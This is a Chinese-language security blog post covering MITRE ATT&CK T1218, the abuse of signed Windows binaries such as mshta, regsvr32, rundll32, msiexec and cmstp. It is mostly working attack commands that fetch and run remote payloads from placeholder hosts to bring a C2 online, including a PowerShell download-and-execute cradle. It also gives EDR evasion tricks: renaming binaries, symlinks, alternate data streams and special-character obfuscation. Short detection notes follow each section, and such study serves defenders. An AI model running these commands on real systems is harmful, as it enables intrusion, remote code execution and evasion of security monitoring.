ATT&CK中的攻与防——T1218

congya 2022-10-20 09:50:00

前言

此篇文章为ATTCK矩阵中的攻与防的第二篇,T1218是windows里面常见的规避EDR常用的渗透横向技巧,大部分技巧在互联网上都有师傅们分享,笔者只是将其中的内容总结起来,以ATT&CK矩阵来探究其中的攻防之道,regsvr32和rundll32曾在知识星球分享过,看过的师傅们看前面的即可,如若文章有技术问题,欢迎各位师傅在评论区交流

一.T1218.001(hh.exe && chm)

制作恶意的chm文件,需要4个文件,我这个为简单的弹calc

28.jpg

最后利用hhw.exe c:\users\users\desktop\test.hhc即可生成简单的恶意chm文件

29.jpg

这是效果

30.jpg

检测方式:着重检测pfilepath的hh.exe,该启动方式启动必然伴随hh.exe

4.jpg

5.jpg

二.T1218.002(control panel)

该规则为利用cpl文件,横向较为少见,applocker绕过会用到此项技术,但是较为鸡肋。
利用control&&以及后续的rundll32作为检测手段
方法一:

control C:\Users\xinxin\Desktop\testdll\calc.cpl 
rundll32 shell32.dll,Control_RunDLL C:\Users\xinxin\Desktop\testdll\calc.cpl
rundll32 shell32.dll Control_RunDLL C:\Users\xinxin\Desktop\testdll\calc.cpl
rundll32 shell32.dll,Control_RunDLLAsUser C:\Users\xinxin\Desktop\testdll\calc.cpl

26.jpg

方法二:利用wscript执行vbs,js脚本

wscript //e:vbscript evil.vbs 
wscript //e:javascript evil.js

27.jpg

检测方式:监测control以及cpl文件,以及rundll32(011会详细介绍),以及wscript作为检测手段

三.T1218.003(cmstp)

加载恶意的inf配置文件,可远程加载以及本地加载

cmstp /s test.inf                                                                         //本地加载
cmstp.exe /ni /s http://xx.xx.xx.xx:1234/evil.inf                 //远程加载恶意文件

检测方式:监测cmstp,当然,还有其他加载inf文件的方式,后续提及

四.T1218.004(InstallUtil)

常见的利用方式,利用csc文件编译C#文件,在利用installutil去执行
利用csc下载文件

csc.exe /out:C:\Users\xinxin\desktop\download.exe C:\Users\xinxin\desktop\download.cs
download.exe

8.jpg

利用csc编译shellcode上线,网上有2种方式,需要用到InstallUtil和不需要用到InstallUtil,需要用到InstallUtil是因为c#文件中存在System.Configuration.Install

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe C:\test\InstallUtil-ShellCode.cs C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\test\shell.exe 

检测方式:检测csc.exe以及InstallUtil.exe即可

五.T1218.005(mshta)

关于mshta的利用

最常见的还是利用mshta上线我们的远控,拿cobalt strike举列子

mshta http://xx.xx.xx.xx/download.file.ext

当然,mshta也经常被用来绕过applocker,利用mshta执行sct文件

mshta javascript:a=(GetObject('script:http://xx.xx.xx.xx:xx/mshta.sct')).Exec();close()

9.jpg

mshta vbscript:Close(Execute("GetObject(""script:http://xx.xx.xx.xx:6007/mshta.sct"")"))                //本地测试没有成功
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit -file c:\users\xinxin\desktop\shell.ps1"":close")        //执行ps1

10.jpg

检测方式:匹配mshta&&execute

六.T1218.007(msiexec)

关于msiexec,常规的手法也是上线C2工具

msiexec /q /i http://xx.xx.xx.xx:6007/shellcode.txt

简单FUZZing一下命令,可以将/换位-,例如

msiexec /q -i http://xx.xx.xx.xx:6007/shellcode.txt  也是可以上线C2工具的

11.jpg

当然,msiexec也可以上线我们的dll文件

msiexec /y C:\users\xinxin\desktop\congya.dll

检测方式:建议检测msiexec以及q i y这几个参数

七.T128.008(odbcconf)

odbcconf /a {regsvr C:\Users\xinxin\desktop\congya.dll}
odbcconf -a {regsvr C:\Users\xinxin\desktop\congya.dll}

12.jpg

13.jpg

检测方式:对于odbcconf以及参数a匹配检测

八.T1218.009(regsvcs/regasm)

对于这2种方式,同installutil一样,需要csc编译

csc.exe /r:System.EnterpriseServices.dll /target:library /out:evil.dll /keyfile:key.snk regsvcs.cs //csc编译 
RegSvcs.exe C:\Users\congya\Desktop\evil.dll //执行上线

且还需要主机拥有vs,编译snk文件,否则就得提前编译好上传上去

生成的恶意dll,可以用regsvcs和regasm触发

检测方式,对csc以及regsvcs/regasm做检测

九.T1218.010(regsvr32)

关于regsvr32,最常用的方式(通过恶意sct文件上线c2工具)

regsvr32 /s /u /i:http://xx.xx.xx.xx:xxxx/test.sct scrobj.dll

常见的对抗方式:

(1)copy && rename

我们可以copy regsvr32.exe,scrobj.dll,rundll32.exe这三个文件,更改名字进行简单的绕过

copy c:\windows\system32\regsvr32.exe 32regsvr.exe
32regsvr /s /u /i:http://xx.xx.xx.xx:6007/test.sct scrobj.dll

rundll32也是同理

(2)通过mklink对于scrobj.dll的变形

通过mklink软链接新dll

mklink congya.dll c:\Windows\System32\scrobj.dll
regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct congya.dll

14.jpg

一些特别的

当某些EDR对copy ,rename,mklink(需要管理员权限)等命令进行限制或者CEP关联匹配,我们就需要寻求一些突破

(1)利用type文件流绕过

type c:\Windows\System32\scrobj.dll > bypass1.txt:test.dll 
regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct bypass1.txt:test.dll

15.jpg

此外,我们还可以利用makecab替代type执行文件流

makecab c:\Windows\System32\scrobj.dll c:\Windows\System32\scrobj.cab 
extrac32 c:\Windows\System32\scrobj.cab c:\users\congya\desktop\abc.txt:abc.dll 
wmic process call create "regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct c:\users\congya\desktop\abc.txt:abc.dll"

16.jpg

以及findstr的文件流

echo cba > cba.txt 
findstr /V /L W3AllLov3DonaldTrump c:\Windows\System32\scrobj.dll > c:\users\congya\desktop\cba.txt:cba.dll 
regsvr32 /s /u /i:http://xx.xx.xx.xx:6007/test.sct c:\users\congya\desktop\cba.txt:cba.dll

17.jpg

(2)特殊字符

regsvr32 /s /u /^i:http://xx/test.sct scrobj.dll
regsvr32 /s /u -i:http://xx/test.sct scrobj.dll

18.jpg

十.T1218.011(rundll32)

(1)执行cpl文件
(2)执行exe文件

C:\WINDOWS\System32\rundll32 advpack.dll #12 C:\Users\xinxin\Desktop\ConsoleApplication1.exe                    //执行exe
rundll32 advpack.dll, #-4294967284 C:\Users\xinxin\Desktop\ConsoleApplication1.exe
rundll32 advpack.dll RegisterOCX C:\Users\xinxin\Desktop\ConsoleApplication1.exe

rundll32利用mklink

mklink rund1132.exe c:\Windows\System32\rundll32.exe 
rund1132.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript)"+(new%20ActiveXObject("WScript.Shell")).Run("congya.exe")+"\74/script)")

19.jpg

rundll32 calc.dll start
rundll32 calc.dll,start

20.jpg

ps:其他关于rundll32执行的payload

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://ip:port/a'))")            //执行powershell

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c c:\\windows\\system32\\joy.cpl",0,true)                //执行我们的cpl文件

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript)"+(new%20ActiveXObject("WScript.Shell")).Run("ConsoleApplication1.exe")+"\74/script)")

(3)rundll32执行inf文件

rundll32 advpack.dll,LaunchINFSection congya.inf,DefaultInstall_SingleUser,1, 
rundll32 ieadvpack.dll,LaunchINFSection congya.inf,DefaultInstall_SingleUser,1,

33.jpg

此外,DefaultInstall_SingleUser可以修改

rundll32 advpack.dll,LaunchINFSection congya.inf,efaultInstall_SingleUser,1, 
rundll32 ieadvpack.dll,LaunchINFSection congya.inf,efaultInstall_SingleUser,1,

32.jpg

利用setupapi.dll执行inf文件

rundll32 setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Users\xinxin\Desktop\attck\win\1218\congya1.inf

34.jpg

利用infDefaultInstall

infDefaultInstall.exe C:\Users\congya\Desktop\congya1.inf

31.jpg

写在最后

一些规避的技巧,比如环境变量,特殊符号FUZZing,这些笔者在前面的文章中提及过,后续可能就不会在提及,如文章有出错,请告知笔者

评论

C

congya

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

XSS 文章:34 篇
MongoDB安全 文章:3 篇
前端安全 文章:29 篇
事件分析 文章:223 篇
密码学 文章:13 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录